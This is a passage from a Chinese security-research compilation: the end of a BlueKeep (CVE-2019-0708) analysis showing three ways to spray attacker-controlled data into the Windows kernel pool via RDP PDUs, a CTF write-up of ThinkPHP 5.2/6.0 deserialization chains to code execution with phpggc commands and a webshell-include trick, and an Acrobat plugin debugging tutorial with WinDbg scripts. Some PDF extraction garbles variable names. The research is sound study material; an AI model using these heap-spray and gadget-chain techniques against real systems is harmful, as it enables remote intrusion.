（0x03）及 totalEntriesCacheLimit[0-4]（0x258、0x258、0x10000、0x0及 0x0，如图 9中 edx寄

存器所示）与客户端请求中的 NumCellCaches（0x03）及 totalEntriesCache[0-4]（0x80000258、

0x80000258、0x8000fffc、0x0 及 0x0，如图 9 中 esi 寄存器所示）组合起来。客户端可以控

制 NumCellCaches 及 totalEntriesCache[0-4]，如图 10 所示，但不能超过服务端初始化的

NumCellCaches（0x03）及 totalEntriesCacheLimit[0-4]（0x258、0x258、0x10000、0x0及 0x0），

如图 11随时。

(https://p1.ssl.qhimg.com/t0122f0bf7cc0f990af.png)

图 10. TS_BITMAPCACHE_CAPABILITYSET_REV2
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(https://p3.ssl.qhimg.com/t013631eeeb3c48d50f.png)

图 11. CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函数

了解这些知识后，我们可以计算出 bitmapCacheListPoolLen的最大值，最大值 bitmapCacheListPoolLen

= 0xC * (0x10000 + 0x258 + 0x258 + 4) = 0xc3870，理论上我们可以在内核池中控制大小为 0x8

* (0x10000 + 0x258 + 0x258 + 4) = 0x825a0字节数据，如图 12所示。
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(https://p2.ssl.qhimg.com/t01c019277419eb77f0.png)

图 12. 转储出的 Persistent Key List PDU内存

然而，我们发现 RDP客户端并没有按我们设想的方式来控制位图缓存列表池中的所有数据。每 8

字节可控数据之间都有一个 4字节不可控数据（索引值），这对 shellcode利用来说非常不友好。此外，

0xc3870字节大小的内核池不能被多次分配，因为正常情况下 Persistent Key List PDU只能发送 1次。

然而经过多次测试后，我们发现内核池会在同一个内存地址处进行分配。此外，在分配的位图缓存列

表池之前始终会有系统分配的大小为 0x2b522c（x86系统）或 0x2b5240（x64系统）字节的内核池，

这一点对堆布局而言非常重要（尤其是在 x64系统中），如图 13所示。

(https://p1.ssl.qhimg.com/t0135644086d19080ca.png)

图 13. 统计 Persistent Key List PDU的布局特征
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6.4 0x03 Refresh Rect PDU

根据MS-RDPBCGR文档，RDP客户端可以通过 Refresh Rect PDU请求服务端重绘会话屏幕中的 1个

或多个矩形区域。这个结构体中包含通用 PDU头以及 refreshRectPduData（可变）字段，如图 14

所示。

(https://p4.ssl.qhimg.com/t0151b437f059d82329.png)

图 14. Refresh Rect PDU Data

numberOfAreas 字段是一个 8 比特无符号整数，用来定义 areasToRefresh 字段中 Inclusive

Rectangle结构的数量。areaToRefresh是包含 TS_RECTANGLE16结构的一个数组，如图 15所示。

(https://p1.ssl.qhimg.com/t015401e5c724915145.png)

图 15. Inclusive Rectangle（TS_RECTANGLE16）

Refresh Rect PDU用来通知服务端一系列 “Inclusive Rectangle’’屏幕区域，以便服务端重绘会话屏

幕区域中的一个或多个矩形区域。这个 PDU基于默认打开的一个信道进行传输，信道 ID为 0x03ea

（Server Channel ID）。当连接时序完成后，如图 1所示，RDP服务端就可以接收/解析 Refresh Rect PDU，

并且这里最重要的一点在于 Refresh Rect PDU可以多次发送。虽然 TS_RECTANGLE16大小只有 8字节，

这意味着 RDP客户端只能控制 8字节数据，但这依然可以作为将数据写入内核的一个切入点。

6.5 0x04如何通过 Refresh Rect PDU将数据写入内核

正常解密后的 Refresh Rect PDU如图 16所示。
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(https://p0.ssl.qhimg.com/t01fd9eed9fdddd7ebd.png)

图 16. 解密后的 Refresh Rect PDU

RDPWD.sys内核模块中的 WDW_InvalidateRect函数负责解析 Refresh Rect PDU，如图 17所示：

(https://p3.ssl.qhimg.com/t0199bfb575c261278e.png)

图 17. RDPWD!WDW_InvalidateRect栈轨迹
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如图 18 所示，WDW_InvalidateRect 函数会解析 Refresh Rect PDU 数据流，从数据流中提

取 numberOfAreas 字段值作为循环计数值。由于 numberOfAreas 属于 1 字节字段，最大值

为 0xFF，因此最大循环计数值也为 0xFF。在循环中，WDW_InvalidateRect 函数会分别提取

TS_RECTANGLE16结构中的 left、top、right及 bottom字段值，将其放入栈上的一个结构中，然后作

为 WDICART_IcaChannelInput函数的第 5个参数传入。这里需要提一句，WDICART_IcaChannelInput

的第 6个参数为常数值 0x808，这个值对堆喷射来说非常有用。

(https://p4.ssl.qhimg.com/t01d5a34953c03cc351.png)

图 18. RDPWD!WDW_InvalidateRect函数

WDICART_IcaChannelInput 最终会调用 termdd.sys 内核模块中的 IcaChannelInputInternal

函数。如图 19 所示，如果满足一系列判断条件，那么 IcaChannelInputInternal 函数就会

调用 ExAllocatePoolWithTag 来分配大小为 inputSize_6th_para + 0x20 的内核池。因此，当

RDPWD!WDW_InvalidateRect调用 IcaChannelInputInternal函数时，inputSize_6th_para=0x808，

并且内核池的大小为 0x828。

(https://p3.ssl.qhimg.com/t01cc4b6e3b95f5e1c4.png)

图 19. termdd!IcaChannelInputInternal中的 ExAllocatePoolWithTag及 memcpy操作
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如何内核池分配成功完成，系统就会调用 memcpy，将 input_buffer_2拷贝到新分配的内核池内

存中。当调用方为 RDPWD!WDW_InvalidateRect时，memcpy所使用的参数如图 20所示：

(https://p1.ssl.qhimg.com/t019a52e450fa65389b.png)

图 20. 在 windbg中观察 termdd!IcaChannelInputInternal对应的 memcpy操作

有趣的是，memcpy函数的源地址来自于 RDPWD!WDW_InvalidateRect栈上的 stRect结构，并且

只有前 3个 DWORD会在 RDPWD!WDW_InvalidateRect中设置，如图 21所示。栈上的其他内存处于未

初始化状态，因此容易导致信息泄露。此外，使用大小为 0x808的内存空间来存储 12字节的数据也

是非常适用于堆喷射场景。

(https://p2.ssl.qhimg.com/t0109015c81ec6ba61d.png)

图 21. RDPWD!WDW_InvalidateRect stRect结构集

根据这些信息，当 RDP客户端向服务端发送一个 Refresh Rect PDU，且 numberOfAreas字段值为

0xFF时，RDP服务端就会调用 termdd!IcaChannelInputInternal 0xFF次。每次 termdd!IcaChannelInputInternal

调用都会分配 0x828大小的内核池内存空间，将客户端可控的 8字节 TS_RECTANGLE16拷贝到该内

核池中。因此，numberOfAreas字段值为 0xFF的 1个 Refresh Rect PDU就可以分配 0xFF个大小为

0x828字节的内核池。从理论上讲，如果 RDP客户端发送 0x200次 Refresh Rect PDU，那么 RDP服

务端就会分配大约 0x20000个大小为 0x828的非分页内核池。考虑到 0x828大小的内核池会按照

0x1000进行对齐，因此会同时占据非常大范围的内核池，客户端可控的 8字节数据会被复制到每个

0x1000内核池中 0x02c固定偏移处。如图 22所示，我们可以通过 Refresh Rect PDU在内核中构建非

常稳定的池喷射。
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(https://p1.ssl.qhimg.com/t014d661f96e641a1fe.png)

图 22. RDPWD!WDW_InvalidateRect喷射

在某些情况下，当 termdd!_IcaQueueReadChannelRequest修改某个指针时（图 23中的 v14变

量），判断条件为 False，此时 ExAllocatePoolWithTag以及 memcpy并不会被调用，代码也不会进

入 _IcaCopyDataToUserBuffer分支，这样将导致池无法成功分配。然而，当多次发送 Refresh Rect

PDU时，尽管某些池无法成功分配，我们还是可以成功形成内核池喷射。

此外在某些情况下，当 RDP服务端使用完有些内核池后，可能会释放掉这些内核池，但内核池的

数据并不会被清除，这样我们喷射到内核中的数据依然可以在漏洞利用过程中使用。

(https://p4.ssl.qhimg.com/t01e5c321c201f71d02.png)

图 23. termdd!IcaChannelInputInternal中的 IcaCopyDataToUserBuffer
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6.6 0x05 RDPDR Client Name Request PDU

根据MS-RDPEFS文档描述，RDPDR Client Name Request PDU在 “Remote Desktop Protocol: File System

Virtual Channel Extension’’（文件系统虚拟信道扩展）中指定，该扩展运行在名为 RDPDR的静态虚拟

信道（static virtual channel）中。MS-RDPEFS协议的目的是将访问流从服务端重定向到客户端文件系

统。Client Name Request是客户端发往服务端的第二个 PDU，如图 24所示。

(https://p0.ssl.qhimg.com/t01f1238370b8b66ca2.png)

图 24. File System Virtual Channel Extension协议初始化

客户端使用 Client Name Request PDU将主机名发送给服务端，如图 25所示。

88

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/34d9de58-b2b5-40b6-b970-f82d4603bdb5


漏洞分析 CVE-2019-0708（BlueKeep）：利用 RDP PDU将数据写入内核的 3种方式

(https://p2.ssl.qhimg.com/t014235652336b0661d.png)

图 25. Client Name Request（DR_CORE_CLIENT_NAME_REQ）

这里头部为 4 字节的 RDPDR_HEADER，Component 字段值为 RDPDR_CTYP_CORE，PacketId 字段

值为 PAKID_CORE_CLIENT_NAME。ComputerNameLen（4 字节）是一个 32 位无符号整数，用来指定

ComputerName字段的字节数。ComputerName字段（可变）是一个长度可变的 ASCII或 Unicode字符

数组，具体格式由 UnicodeFlag字段所决定，这个字符串用来标识客户端的计算机名。

6.7 0x06如何通过 RDPDR Client Name Request PDU将数据写入内核

典型的 RDPDR Client Name Request PDU数据如下图所示。正常情况 Client Name Request PDU可以被

多次发送，对于每个请求，RDP服务端会分配一个内核池来存储这些信息，最重要的是：RDP客户

端可以完全控制 PDU的内容和长度。这也是将数据写入内核内存的一个绝佳切入点。典型的 RDPDR

Client Name Request PDU如图 26所示。
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(https://p1.ssl.qhimg.com/t01880c07a58e5ce9a4.png)

图 26. Client Name Request内存布局

当 RDP服务端收到一个 RDPDR Client Name Request PDU时，就会调用 termdd.sys内核模块中

的 IcaChannelInputInternal函数来调度（dispatch）信道数据，然后调用 RDPDR模块来解析 Client

Name Request PDU的数据部分。这里的 IcaChannelInputInternal函数在处理 Client Name Request

PDU的代码逻辑上与对 Refresh Rect PDU的处理逻辑相同。该函数会调用 ExAllocatePoolWithTag

（使用 TSic标签）来分配内核内存，然后使用 memcpy将 Client Name Request数据拷贝到新分配的内

核内存中，如图 27所示。
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(https://p0.ssl.qhimg.com/t018532fc8283fc4b00.png)

图 27. Client Name Request

到目前为止，我们已经知道服务端拷贝的数据内容及长度可以被 RDP 客户端可以控制，并且

Client Name Request PDU也可以多次发送。正是因为这种灵活性及友好性，我们可以使用 Client Name

Request PDU来构造针对已释放内核池的 UAF（释放后重用）漏洞利用场景，也可以用来将 shellcode

写入内核池，甚至可以用来将客户端可控的数据连续喷射到内核内存中。

如图 28所示，我们成功实现了稳定的池分配，通过 RDPDR Client Name Request PDU将客户端可

控的数据写入内核池中。
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(https://p1.ssl.qhimg.com/t01e972e4762c862104.png)

图 28. 利用 Client Name Request PDU实现稳定池分配

6.8 0x07检测及缓解

CVE-2019-0708是针对 RDP的一个严重漏洞，可以被未经身份认证的攻击者所使用。根据MSRC安全

公告，Windows XP、Windows 2003、Windows 7以及Windows 2008都受该漏洞影响。大家应该尽快给

自己的Windows系统打上补丁，以缓解该威胁。如果条件允许，用户应当禁用或者限制通过外部接口

访问 RDP资源。

6.9 0x08总结

在本文中，我们介绍了通过 RDP PDU将数据写入内核的 3种方法:

Bitmap Cache PDU可以让 RDP服务端在分配 0x2b5200大小的内核池后，分配 0xc3870大小的

内核池，并写入客户端可控的数据，然而无法多次执行分配 0xc3870大小的内核池操作。

Refresh Rect PDU可以用来喷射 0x828大小的多个内核池，这些内核池以 0x1000方式对齐，并

将客户端可控的 8字节写入 0x828大小的每个内核池中。

RDPDR Client Name Request PDU可以用来喷射大小可控的内核池，并填充客户端可控的数据。

我们认为还有其他未公开的方式，可以让 CVE-2019-0708的利用方式更加简单及稳定。用户应当

采取措施，通过前面提到的缓解方法保护可能存在风险的系统。
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Thinkphp反序列化利用链挖掘

作者：wh1t3p1g

来源：https://www.anquanke.com/post/id/187332

7.1 0x00前言

上周参与了 N1CTF，里面有一道关于 thinkphp5的反序列化漏洞的利用。记录一下关于该反序列化的

利用链分析。

后文主要包括两条链的利用分析（一条是我找的，也是题目的预期解，另一条是 wonderkun师傅

找的非预期解）

7.2 0x01环境准备

这里就不直接用题目的环境了，采用 composer直接安装 5.2.*-dev版本

composer create-project topthink/think=5.2.x-dev v5.2

7.3 0x02利用链分析

7.3.1 背景回顾

tp5在我印象里反序列化的利用链存在一个Windows类的任意文件删除，但是在这篇文章的启示下，

也算是找到了一条新的路（关于 __toString的触发方式，除了字符串拼接的方式，还可以利用 PHP自

带函数参数的强制转换）。

这篇文章的利用链最后用到了 5.1.37版本 think/Request.php的 __call函数，该函数的调用函数名可

控，所以可以导致任意调用其他的类函数。而在 5.2.x版本不存在这样的一个 __call函数，这意味着我

们需要重新找一个最终达成命令执行的函数调用（__call函数前的利用链仍然可用）。

那么接下来，我们来看看 5.2.x新的利用链吧：）

7.3.2 think/model/concern/Attribute.php getValue可函数动态调用函数（题目的预期解）

由于 5.1.37__call函数前的利用链仍然存在于 5.2.x版本，这里就不再详述了。

先来看一下 Conversion类的 toArray函数

public function toArray(): array

{

// ...

// 合并关联数据

$data = array_merge($this->data, $this->relation);
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foreach ($data as $key => $val) {

if ($val instanceof Model || $val instanceof ModelCollection) {

// ...

} elseif (isset($this->visible[$key])) {

$item[$key] = $this->getAttr($key);// relation 和 visible 存在同一个 key 就行

// ...

}

// ...

去掉了无关的代码，这里 this−> visiblethis->relation均可控，可伪造数据进入 getAttr函数

public function getAttr(string $name)

{

// ...

return $this->getValue($name, $value, $relation);

}

protected function getValue(string $name, $value, bool $relation = false)

{

// 检测属性获取器

$fieldName = $this->getRealFieldName($name);// 直接返回 $name 的值

// ...

if (isset($this->withAttr[$fieldName])) {

// ...

$closure = $this->withAttr[$fieldName]; // withAttr 内容可控

$value = $closure($value, $this->data); // 动态调用函数

// ...

直接关注 getValue函数，该函数可动态调用函数，并且调用函数、函数参数均可控。所以接下来

有两种方法，第一种是找一个符合条件的 php函数，另一种是利用 tp自带的 SerializableClosure调用，

来看一下第二种。

\Opis\Closure可用于序列化匿名函数，使得匿名函数同样可以进行序列化操作。这意味着我们可以

序列化一个匿名函数，然后交由上述的 closure(value, $this->data)调用执行。

94

https://github.com/opis/closure


漏洞分析 Thinkphp反序列化利用链挖掘

$func = function(){phpinfo();};

$closure = new \Opis\Closure\SerializableClosure($func);

$closure($value, $this->data);// 这里的参数可以不用管

以上述代码为例，将调用 phpinfo函数。

到此为止，我们分析完了整一个调用流程，回顾一下

1.vendor/topthink/framework/src/think/process/pipes/Windows.php __destruct ->removeFiles ->file_exists

强制转化字符串 filename，这里的 filename可控可触发 __toString函数，下一步找可利用的 __toString

2.vendor/topthink/framework/src/think/model/concern/Conversion.php __toString -> toJson -> toArray创

造符合条件的 relation 和 visible-> getAttr 下一步调用 vendor/topthink/framework/src/think/model/con-

cern/Attribute.php的 getValue函数

3.vendor/topthink/framework/src/think/model/concern/Attribute.php getValue -> $closure动态调用函数，

且该内容可控下一步利用有两种，一种找符合的 php函数，另一种利用 tp自带的 SerializableClosure

调用

4.vendor/opis/closure/src/SerializableClosure.php构造可利用的匿名函数

我把 exp集成到了phpggc上，使用如下命令即可生成

./phpggc -u ThinkPHP/RCE1 ’phpinfo();’

这里由于用到了 SerializableClosure，需要使用编码器编码，不可直接输出拷贝利用。

7.3.3 think/Db.php __call函数可实例化任意类（题目的非预期解）

前面说到 5.1.37版本的利用链的 __call函数，在 5.2.x版本没办法用了。但是从 __destruct到 __call的

链路是通的，我们只需要重新找一个可用的 __call函数即可。

来看一下 vendor/topthink/framework/src/think/Db.php的 __call函数

public function __call($method, $args)

{

$class = $this->config[’query’];

$query = new $class($this->connection);

return call_user_func_array([$query, $method], $args);

}

this− > con f igthis->connection 均可控，这意味着我们可以实例化任意符合条件的类，这里找了

think\Url
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public function __construct(App $app, array $config = [])

{

$this->app = $app;

$this->config = $config;

if (is_file($app->getRuntimePath() . ’route.php’)) {

// 读取路由映射文件

$app->route->import(include $app->getRuntimePath() . ’route.php’);

}

}

该构造器引入了 RuntimePath下的 route.php文件，因为这道题是允许上传文件的，所以只要在可

上传的目录下上传一个 route.php的 webshell即可。至于 RuntimePath，appruntimePath的内容即可。

我们直接构造 App对象为

class App{

protected $runtimePath;

public function __construct(string $rootPath = ’’){

$this->rootPath = $rootPath;

$this->runtimePath = "/tmp/";

$this->route = new \think\route\RuleName();

}

}

这个构造思路太溜了，膜一波：）

整理一下过程

1.vendor/topthink/framework/src/think/process/pipes/Windows.php __destruct ->removeFiles ->file_exists

强制转化字符串 filename，这里的 filename可控可触发 __toString函数，下一步找可利用的 __toString

2.vendor/topthink/framework/src/think/model/concern/Conversion.php

__toString -> toJson -> toArray->appendAttrToArray->$relation调用不存在的函数，触发 __call

3.vendor/topthink/framework/src/think/Db.php

__call -> new class(this->connection)调用任意类的 __construct函数

4.vendor/topthink/framework/src/think/Url.php

构造 App类，达到 include任意文件的效果
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7.4 0x00前言

上一篇分析了 tp 5.2.x的反序列化利用链挖掘，顺着思路，把 tp6.0.x也挖了。有类似的地方，也有需

要重新挖掘的地方。

7.5 0x01环境准备

采用 composer安装 6.0.*-dev版本

composer create-project topthink/think=6.0.x-dev v6.0

7.6 0x02利用链分析

7.6.1 背景回顾

拿到 v6.0.x版本，简单的看了一下，有一个好消息和一个坏消息。

好消息是 5.2.x版本函数动态调用的反序列化链后半部分，还可以利用。

坏消息是前面 5.1.x，5.2.x版本都基于触发点Windows类的 __destruct,好巧不巧的是 6.0.x版本取

消了Windows类。这意味着我们得重新找一个合适的起始触发点，才能继续使用上面的好消息。

7.6.2 vendor/topthink/think-orm/src/Model.php新起始触发点

为了节省篇幅，后文不再重复介绍触发 __toString函数后的利用链，这部分同 5.2.x版本相同 (不过

wonderkun师傅的利用链已失效，动态函数调用的利用链还能用)。

通常最好的反序列化起始点为 __destruct、__wakeup，因为这两个函数的调用在反序列化过程

中都会自动调用，所以我们先来找此类函数。这里我找了 vendor/topthink/think-orm/src/Model.php的

__destruct函数。

public function __destruct()

{

if ($this->lazySave) {// 构造 lazySave 为 true，进入 save 函数

$this->save();

}

}

public function save(array $data = [], string $sequence = null): bool

{

// ...

if ($this->isEmpty() || false === $this->trigger(’BeforeWrite’)) {

return false;

}

97



漏洞分析 Thinkphp反序列化利用链挖掘

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

// ...

}

首先构造 lazySave的值为 true,从而进入 save函数。

这次触发点位于 updateData函数内，为了防止前面的条件符合，而直接 return，我们首先需要构造

相关参数

public function isEmpty(): bool

{

return empty($this->data);

}

protected function trigger(string $event): bool

{

if (!$this->withEvent) {

return true;

}

// ...

其中需保证 isEmpty返回 false，以及 $this->trigger(‘BeforeWrite’)返回 true

1.构造 $this->data为非空数组

2.构造 $this->withEvent为 false

3.构造 $this->exists为 true

从而进入我们需要的 updateData函数，来看一下该函数内容

protected function updateData(): bool

{

// 事件回调

if (false === $this->trigger(’BeforeUpdate’)) {// 此处前面已符合条件

return false;

}

// ...

// 获取有更新的数据

$data = $this->getChangedData();
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if (empty($data)) {

// 关联更新

if (!empty($this->relationWrite)) {

$this->autoRelationUpdate();

}

return true;

}

// ...

// 检查允许字段

$allowFields = $this->checkAllowFields(); // 触发 __toString

同样的，为了防止提前 return，需要符合 $data非空，来看一下 getChangedData

public function getChangedData(): array

{

$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {

if ((empty($a) || empty($b)) && $a !== $b) {

return 1;

}

return is_object($a) || $a != $b ? 1 : 0;

});

// ...

return $data;

}

这里我们可以强行置 this−> f orcetruethis->data

这样，我们就成功到了调用 checkAllowFields的位置

protected function checkAllowFields(): array

{

// 检测字段

if (empty($this->field)) {

if (!empty($this->schema)) {

$this->field = array_keys(array_merge($this->schema, $this->jsonType));
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} else {

$query = $this->db();// 最终的触发 __toString 的函数

$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);

}

return $this->field;

}

// ...

}

同样，为了到 $this->db()函数的调用，需要

1.构造 $this->field为空

2.构造 $this->schema为空

其实这两个地方不需要构造，默认都为空

最终，我们终于到了可以触发 __toString的位置

public function db($scope = []): Query

{

/** @var Query $query */

$query = self::$db->connect($this->connection)

->name($this->name . $this->suffix)// toString

->pk($this->pk);

看到熟悉的字符串拼接了嘛！！！

不过为了达到该出拼接，我们还是得首先满足 connect 函数的调用。此处代码就不说了，置

this−> connectionmysqlthis->name还是 $this->suffix为最终的触发 __toString的对象，都会有同样的效

果。

后续的思路，就是原来 vendor/topthink/think-orm/src/model/concern/Conversion.php的 __toString开

始的利用链，不在叙述。

我把 exp集成到了phpggc上，使用如下命令即可生成

./phpggc -u ThinkPHP/RCE2 ’phpinfo();’

这里由于用到了 SerializableClosure，需要使用编码器编码，不可直接输出拷贝利用。
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PDF调试技巧剖析

作者：360成都安全响应中心

来源：https://www.anquanke.com/post/id/188138

Acrobat因为缺少符号，导致分析漏洞成因以及利用编写难度增加。该文章主要介绍 Plugin机制和

Javascript引擎，并且会直接给出相关的一些结论，这些结论主要通过官方文档和源码，再通过类比找

到关键点，反复调试验证得到。

8.1 1. Acrobat的 Plugin机制

Acrobat的 SDK文档中详细介绍了 Plugin机制，并且 Acrobat软件本身的很多功能都是通过 Plugin机

制实现的（在 Acrobat安装目录下的 plug_ins目录下的 api后缀文件，本质上是 dll文件，比如支持

Javascript的 EScript插件，支持搜索的 Search插件等）。

在 Acrobat的 Plugin机制里，最重要的概念就是 HFT（Hot Function Table），一个 HFT包含了一组

特定的回调函数。

Acrobat 主程序维护了一系列的 HFT, 并且在加载每一个 Plugin 时, 会将 core HFT 传给 Plugin，

Plugin通过调用 core HFT里的回调函数可以获取其他 HFT（既可以是 Acrobat主程序的 HFT，也可以

是其他 Plugin注册的 HFT）,并注册自己的 HFT以供主程序或者其他 Plugin调用，示意图如下所示。

通过 Acrobat的 Plugin机制，结合 Acrobat的 SDK中的头文件，我们可以定位很多 HFT的回调函

数并且根据需要在 IDA里重命名，变相识别符号。

接下来详细介绍定位各个 HFT的步骤。
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8.1.1 1.1获取 coreHFT-修改对应的回调函数名称

1) Windbg调试 Acrobat的主程序 AcroRd32.exe(勾选 Debug Child Process Also)，在调试器中断时通

过 sxe命令下断点（这里 Plugin的名称可以自由选择，下图选择的是 EScript.api）。

2) 直接运行直到对应的 Plugin加载，将 IDA中通过 edit->Segments->Rebase Program将 IDA中的基

地址和 windbg中的基地址保持一致（AcroRd32.dll和其他需要的 Plugin也进行同样的操作）。

3) 在 IDA中阅读 PluginMain函数，找到 PISetupSDK回调函数，如下图所示。

4) 在 PISetupSDK处下断点，第 2个参数是指向 PISDKData_V0200的指针，PISDKData_V0200的

定义如下。
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运行到断点处时，根据结构体定义获取 coreHFT。

上图中，中间那段就是 coreHFT的一系列回调函数，但是这是动态查看到的结果，不适合用于

IDA重命名函数名，所以顺着 coreHFT的第一个 4字节得到了最后一行的 0x299和 0x64f3b580，得到

0x64f3b580后，直接在 AcroRd32.dll模块中跳转到对应地址（前提是 AcroRd32.dll在 IDA中的基地址

已经和 windbg中的一致），如下图所示。
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注意，0x64f3b580是获取 coreHFT的回调函数，所有 HFT都有一个对应的回调函数，但是只要求

这些函数最终返回 HFT，而中间的过程不做任何要求，所以获取不同的 HFT的回调函数实现可能不

一样，但是都会有明显的标志可以帮助确认。

比如上图中的 generateCoreHFT（自己命名的），实现如下图所示。
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这里我已经根据 Acrobat的 SDK中的头文件 CorProcs.h修改了对应函数的名称。删除了注释后的

CorProcs.h内容如下图所示，可以对比上图，顺序是一一对应的。

到这里已经找到了获取 coreHFT的回调函数，再根据 CorProcs.h头文件得到了最核心的一些函数，

其中最有用的 2个函数是 ASAtomGetString和 ASExtensionMgrGetHFT。
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通过 ASAtomGetString函数，我们可以得到所有的 Atom字符串及对应的 Atom（本质上就是索引）。

通过 ASExtensionMgrGetHFT函数，我们可以得到所有已经注册的 HFT表，再结合 Acrobat SDK

中的头文件达到重命名函数的目的。

8.1.2 1.2遍历所有的 Atom字符串

在 IDA中阅读 ASAtomGetString函数，得到关键的全局变量地址，如下图所示，关键的全局变量地址

为 0x66723e78。

将该地址替换下面的 windbg脚本中的寄存器@$t0。

r @$t0 = 0x66723e78 ;

r @$t0 = poi(@$t0) ;

r @$t1 = poi(@$t0 + 0x1c) ;

r @$t0 = poi(@$t0 + 0x18) + 0x4 ;

.for(r @$t2 = 0;@$t0 + @$t2 * 8 < @$t1; r @$t2 = @$t2 + 1) {r @$t2;r @$t3 = @$t0 + @$t2 * 8;da poi(@$t3);}

然后将所有 windbg脚本拷贝到命令行窗口运行，效果如下。
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如果将关键地址替换如下脚本命令中的@t0@t4寄存器设置为对应的 Atom（索引），则可以直接

查看对应的字符串。

r @$t4 = 0x299 ;

r @$t0 = 0x66723e78 ;

r @$t0 = poi(@$t0) ;

r @$t0 = poi(@$t0 + 0x18) + 0x4 ;

r @$t0 = @$t0 + @$t4 * 8 ;

da poi(@$t0) ;

这里 0x299是 1.1节中打印 coreHFT相关信息的时候得到的，运行这段脚本的结果如下图所示。
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可以验证 1.1节中得到的 HFT的确是 coreHFT。

8.1.3 1.3获取所有的 HFT

在 IDA中阅读函数 ASExtensionMgrGetHFT,得到关键的全局变量地址。如下图所示，关键的全局变量

地址为 0x667241E4。

将该地址替换为下面 windbg脚本中的@t0@t5寄存器设置为 1.2节中得到的全局变量地址。

r @$t5 = 0x66723e78 ;

r @$t0 = 0x667241E4;
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r @$t0 = poi(@$t0);

r @$t1 = poi(@$t0) - 0x4;

r @$t0 = poi(@$t0 + 0xc);

r @$t5 = poi(@$t5) ;

r @$t5 = poi(@$t5 + 0x18) + 0x4 ;

.for(r @$t2 = 0; @$t2 <= @$t1; r @$t2 = @$t2 + 1) {r @$t3 = poi(@$t0 + @$t2 * 4);dd @$t3 L0x2;r @$t4 = low(poi(@$t3));r @$t6 = @$t5 + @$t4 * 8 ;da poi(@$t6) ;.echo ------------------------------------}

将所有脚本命令拷贝到 windbg的命令行窗口，运行后的结果如下所示 (为了直观和理解，这里将

所有结果都展示了出来，不过选择的 Plugin不同这里展示的结果可能不同，因为有些 HFT可能还没

有注册)。

展示结果分 2行，第 1行的结构和 1.1节中 coreHFT的一样 (第 1个 4字节是 HFT名称的索引，第

2个 4字节是获取对应 HFT的回调函数)，第 2行则是 HFT的实际名称。

0:000> r @$t5 = 0x66723e78 ;

0:000> r @$t0 = 0x667241E4;

0:000> r @$t0 = poi(@$t0);

0:000> r @$t1 = poi(@$t0) - 0x4;

0:000> r @$t0 = poi(@$t0 + 0xc);

0:000> r @$t5 = poi(@$t5) ;

0:000> r @$t5 = poi(@$t5 + 0x18) + 0x4 ;

0:000> .for(r @$t2 = 0; @$t2 <= @$t1; r @$t2 = @$t2 + 1) {r @$t3 = poi(@$t0 + @$t2 * 4);dd @$t3 L0x2;r @$t4 = low(poi(@$t3));r @$t6 = @$t5 + @$t4 * 8 ;da poi(@$t6) ;.echo ------------------------------------}

08836ec8 00000299 64f3b580
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050325f0 "Core"

------------------------------------

08836ce8 0000029a 64f3b8e0

05033248 "AcroSupport"

------------------------------------

08836c20 00001048 65527f40

08836ae0 "ASExternalWarningHandler"

------------------------------------

08836b58 00001049 00000000

05025940 "ASTest"

------------------------------------

0885e128 0000104b 00000000

05087310 "ASThread"

------------------------------------

0885e4e8 0000029b 64f3bb80

05032670 "Cos"

------------------------------------

------------------------------------未显示完
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接下来针对部分 HFT演示一下通过 Acrobat SDK中的头文件修改函数名称，所有的 HFT操作都是

类似的，不过有些 HFT在 Acrobat SDK中不存在，Adobe没有公开。

1.3.1 Cos HFT

根据上面的结果，可以知道获取 Cos HFT的回调函数为 0x64f3bb80,在 IDA中查看该函数，如下

所示。

------------------------------------

0885e4e8 0000029b 64f3bb80

05032670 "Cos"

------------------------------------

这个写法和之前的获取 Core HFT类似，继续跟进 sub_64F3BC6E,如下图所示（太长了不适合图

片）。

int sub_64F3BC6E()

{
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_DWORD *v0; // esi@1

int v1; // ST40_4@2

int v3; // [sp+8h] [bp-10h]@2

int v4; // [sp+Ch] [bp-Ch]@2

int v5; // [sp+10h] [bp-8h]@2

int v6; // [sp+14h] [bp-4h]@2

v0 = TlsGetValue(dword_665BAF2C);

if ( !v0[23] )

{

v3 = 16;

v1 = v0[24];

v4 = 109;

v5 = 589824;

v6 = 0;

v0[23] = sub_64EC7CC0(v1, &v3);

}

sub_64F3C33F(1, sub_64F82ED0, 0);
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sub_64F3C33F(2, sub_64F13BA0, 0);

sub_64F3C33F(3, sub_64F97C60, 0);

sub_64F3C33F(4, sub_64F81580, 0);

-----------未 显 示 完

return sub_64F3C33F(109, sub_6536C480, 0);

}

可以知道 Cos HFT中有 109个回调函数（上述没有显示完），此时再到 Acrobat SDK中查看头文件

CosProcs.h，去除掉注释后得到如下结果，正好 109个函数声明，和上图一一对应（这里懒没有在 IDA

中一一重命名）。

如果个数对应不上，应该是有重复的函数声明，在头文件中以 #if #else #endif的形式存在，删除重

复的就好了。

NPROC(ASBool, CosObjEqual, (CosObj obj1, CosObj obj2))

NPROC(CosType, CosObjGetType, (CosObj obj))

NPROC(ASBool, CosObjIsIndirect, (CosObj obj))

NPROC(ASBool, CosObjEnum, (CosObj obj, CosObjEnumProc proc, void *clientData))

NPROC(CosDoc, CosObjGetDoc, (CosObj obj))

NPROC(CosObj, CosNewNull, (void))

NPROC(CosObj, CosNewInteger, (CosDoc dP, ASBool indirect, ASInt32 value))

NPROC(CosObj, CosNewFixed, (CosDoc dP, ASBool indirect, ASFixed value))

NPROC(CosObj, CosNewBoolean, (CosDoc dP, ASBool indirect, ASBool value))
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NPROC(CosObj, CosNewName, (CosDoc dP, ASBool indirect, ASAtom name))

NPROC(CosObj, CosNewString, (CosDoc dP, ASBool indirect, const char *str, ASTArraySize nBytes))

NPROC(CosObj, CosNewArray, (CosDoc dP, ASBool indirect, ASTArraySize nElements))

---------未 完

1.3.2 PDSRead HFT

这里之所以列出 PDSRead HFT 是因为它代表了一种情况—---实际的实现中回调函数个数比

Acrobat SDK中头文件里的回调函数个数多。

仍然根据之前打印出的所有 HFT结果（上图没有显示完）可以发现获取 PDSRead HFT的回调函

数是 0x64f3cf70,在 IDA中查看如下所示。

------------------------------------

08899e18 00001060 64f3cf70

0888c7d8 "PDSRead"

------------------------------------
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跟进 sub_64F3D0C2，如下所示。

int sub_64F3D0C2()

{

